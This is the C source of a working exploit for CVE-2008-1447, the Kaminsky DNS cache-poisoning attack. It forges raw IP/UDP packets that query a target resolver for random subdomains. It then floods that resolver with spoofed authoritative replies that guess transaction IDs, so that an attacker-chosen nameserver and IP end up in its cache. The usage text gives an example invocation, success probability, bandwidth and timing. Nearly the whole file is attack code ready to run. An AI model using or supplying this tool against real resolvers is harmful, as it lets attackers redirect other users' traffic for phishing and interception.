/* * Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack * * Compilation: * $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm * * Dependency: libdnet (aka libdumbnet-dev under Ubuntu) * * Author: marc.bevand at rapid7 dot com */ #define _BSD_SOURCE #include #include #include #include #include #include #include #include #include #define DNSF_RESPONSE (1<<15) #define DNSF_AUTHORITATIVE (1<<10) #define DNSF_REC_DESIRED (1<<8) #define DNSF_REC_AVAILABLE (1<<7) #define TYPE_A 0x1 #define TYPE_NS 0x2 #define CLASS_IN 0x1 struct dns_pkt { uint16_t txid; uint16_t flags; uint16_t nr_quest; uint16_t nr_ans; uint16_t nr_auth; uint16_t nr_add; } __attribute__ ((__packed__)); void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name) { unsigned bufi, i, j; bufi = i = j = 0; while (name[i]) { if (name[i] == '.') { if (bufi + 1 + (i - j) > size) fprintf(stderr, "format_domain overflow\n"), exit(1); buf[bufi++] = i - j; memcpy(buf + bufi, name + j, i - j); bufi += i - j; j = i + 1; } i++; } if (bufi + 1 + 2 + 2 > size) fprintf(stderr, "format_domain overflow\n"), exit(1); buf[bufi++] = 0; *len = bufi; } void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class) { uint16_t tmp; // name format_domain(buf, size, len, name); // type tmp = htons(type); memcpy(buf + *len, &tmp, sizeof (tmp)); *len += sizeof (tmp); // class tmp = htons(class); memcpy(buf + *len, &tmp, sizeof (tmp)); *len += sizeof (tmp); } void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data) { format_qr(buf, size, len, name, type, class); // ttl ttl = htonl(ttl); memcpy(buf + *len, &ttl, sizeof (ttl)); *len += sizeof (ttl); // data length + data uint16_t dlen; struct addr addr; switch (type) { case TYPE_A: dlen = sizeof (addr.addr_ip); break; case TYPE_NS: dlen = strlen(data) + 1; break; default: fprintf(stderr, "format_rr: unknown type %02x", type); exit(1); } dlen = htons(dlen); memcpy(buf + *len, &dlen, sizeof (dlen)); *len += sizeof (dlen); // data unsigned len2; switch (type) { case TYPE_A: if (addr_aton(data, &addr) < 0) fprintf(stderr, "invalid destination IP: %s", data), exit(1); memcpy(buf + *len, &addr.addr_ip, sizeof (addr.addr_ip)); *len += sizeof (addr.addr_ip); break; case TYPE_NS: format_domain(buf + *len, size - *len, &len2, data); *len += len2; break; default: fprintf(stderr, "format_rr: unknown type %02x", type); exit(1); } } void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name) { u_char *out = buf; struct dns_pkt p = { .txid = htons(txid), .flags = htons(flags), .nr_quest = htons(1), .nr_ans = htons(0), .nr_auth = htons(0), .nr_add = htons(0), }; u_char qr[256]; unsigned l; format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN); if (sizeof (p) + l > size) fprintf(stderr, "dns_query overflow"), exit(1); memcpy(out, &p, sizeof (p)); out += sizeof (p); memcpy(out, qr, l); out += l; *len = sizeof (p) + l; } void dns_response(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *q_name, const char *q_ip, const char *domain, const char *auth_name, const char *auth_ip) { u_char *out = buf; u_char *end = buf + size; u_char rec[256]; unsigned l_rec; uint32_t ttl = 24*3600; struct dns_pkt p = { .txid = htons(txid), .flags = htons(flags), .nr_quest = htons(1), .nr_ans = htons(1), .nr_auth = htons(1), .nr_add = htons(1), }; (void)domain; *len = 0; if (out + *len + sizeof (p) > end) fprintf(stderr, "dns_response overflow"), exit(1); memcpy(out + *len, &p, sizeof (p)); *len += sizeof (p); // queries format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN); if (out + *len + l_rec > end) fprintf(stderr, "dns_response overflow"), exit(1); memcpy(out + *len, rec, l_rec); *len += l_rec; // answers format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN, ttl, q_ip); if (out + *len + l_rec > end) fprintf(stderr, "dns_response overflow"), exit(1); memcpy(out + *len, rec, l_rec); *len += l_rec; // authoritative nameservers format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN, ttl, auth_name); if (out + *len + l_rec > end) fprintf(stderr, "dns_response overflow"), exit(1); memcpy(out + *len, rec, l_rec); *len += l_rec; // additional records format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN, ttl, auth_ip); if (out + *len + l_rec > end) fprintf(stderr, "dns_response overflow"), exit(1); memcpy(out + *len, rec, l_rec); *len += l_rec; } unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name) { unsigned len = 0; // ip struct ip_hdr *ip = (struct ip_hdr *)buf; ip->ip_hl = 5; ip->ip_v = 4; ip->ip_tos = 0; ip->ip_id = rand() & 0xffff; ip->ip_off = 0; ip->ip_ttl = IP_TTL_MAX; ip->ip_p = 17; // udp ip->ip_sum = 0; struct addr addr; if (addr_aton(srcip, &addr) < 0) fprintf(stderr, "invalid source IP: %s", srcip), exit(1); ip->ip_src = addr.addr_ip; if (addr_aton(dstip, &addr) < 0) fprintf(stderr, "invalid destination IP: %s", dstip), exit(1); ip->ip_dst = addr.addr_ip; // udp struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN); udp->uh_sport = htons(1234); udp->uh_dport = htons(53); // dns dns_query(buf + IP_HDR_LEN + UDP_HDR_LEN, (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len, rand(), DNSF_REC_DESIRED, name); // udp len len += UDP_HDR_LEN; udp->uh_ulen = htons(len); // ip len & cksum len += IP_HDR_LEN; ip->ip_len = htons(len); ip_checksum(buf, len); return len; } unsigned build_response(u_char *buf, const char *srcip, const char *dstip, uint16_t port_resolver, uint16_t txid, const char *q_name, const char *q_ip, const char *domain, const char *auth_name, const char *auth_ip) { unsigned len = 0; // ip struct ip_hdr *ip = (struct ip_hdr *)buf; ip->ip_hl = 5; ip->ip_v = 4; ip->ip_tos = 0; ip->ip_id = rand() & 0xffff; ip->ip_off = 0; ip->ip_ttl = IP_TTL_MAX; ip->ip_p = 17; // udp ip->ip_sum = 0; struct addr addr; if (addr_aton(srcip, &addr) < 0) fprintf(stderr, "invalid source IP: %s", srcip), exit(1); ip->ip_src = addr.addr_ip; if (addr_aton(dstip, &addr) < 0) fprintf(stderr, "invalid destination IP: %s", dstip), exit(1); ip->ip_dst = addr.addr_ip; // udp struct udp_hdr *udp = (struct udp_hdr *)(buf + IP_HDR_LEN); udp->uh_sport = htons(53); udp->uh_dport = htons(port_resolver); // dns dns_response(buf + IP_HDR_LEN + UDP_HDR_LEN, (unsigned)(sizeof (buf) - (IP_HDR_LEN + UDP_HDR_LEN)), &len, txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE, q_name, q_ip, domain, auth_name, auth_ip); // udp len len += UDP_HDR_LEN; udp->uh_ulen = htons(len); // ip len & cksum len += IP_HDR_LEN; ip->ip_len = htons(len); ip_checksum(buf, len); return len; } void usage(char *name) { fprintf(stderr, "Usage: %s " " \n" " Source IP used when sending queries for random hostnames\n" " (typically your IP)\n" " Target DNS resolver to attack\n" " One of the authoritative DNS servers for \n" " Source port used by the resolver when forwarding queries\n" " Poison the cache with the A record .\n" " Domain name, see .\n" " IP of your choice to be associated to .\n" " Number of poisoning attemps, more attempts increase the\n" " chance of successful poisoning, but also the attack time\n" " Number of spoofed replies to send per attempt, more replies\n" " increase the chance of successful poisoning but, but also\n" " the rate of packet loss\n" "Example:\n" " $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\n" "This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\n" "in r.r.r.r's cache. The chance of successfully poisoning the resolver with\n" "this example (8192 attempts and 16 replies/attempt) is 86%%\n" "(1-(1-16/65536)**8192). This example also requires a bandwidth of about\n" "2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n" "8 bits/byte) and takes about 80 secs to complete (8192 attempts /\n" "100 attempts/sec).\n", name, name); } int main(int argc, char **argv) { if (argc != 10) usage(argv[0]), exit(1); const char *querier = argv[1]; const char *ip_resolver = argv[2]; const char *ip_authoritative = argv[3]; uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0); const char *subhost = argv[5]; const char *domain = argv[6]; const char *anyip = argv[7]; uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0); uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0); if (domain[strlen(domain) - 1 ] != '.') fprintf(stderr, "domain must end with dot(.): %s\n", domain), exit(1); printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.), attempts)); srand(time(NULL)); int unique = rand() + (rand() << 16); u_char buf[IP_LEN_MAX]; unsigned len; char name[256]; char ns[256]; ip_t *iph; if ((iph = ip_open()) == NULL) err(1, "ip_open"); int cnt = 0; while (cnt < attempts) { // send a query for a random hostname snprintf(name, sizeof (name), "%08x%08x.%s", unique, cnt, domain); len = build_query(buf, querier, ip_resolver, name); if (ip_send(iph, buf, len) != len) err(1, "ip_send"); // give the resolver enough time to forward the query and be in a state // where it waits for answers; sleeping 10ms here limits the number of // attempts to 100 per sec usleep(10000); // send spoofed replies, each reply contains: // - 1 query: query for the "random hostname" // - 1 answer: "random hostname" A 1.1.1.1 // - 1 authoritative nameserver: NS . // - 1 additional record: . A snprintf(ns, sizeof (ns), "%s.%s", subhost, domain); unsigned r; for (r = 0; r < replies; r++) { // use a txid that is just 'r': 0..(replies-1) len = build_response(buf, ip_authoritative, ip_resolver, port_resolver, r, name, "1.1.1.1", domain, ns, anyip); if (ip_send(iph, buf, len) != len) err(1, "ip_send"); } cnt++; } ip_close(iph); return 0; }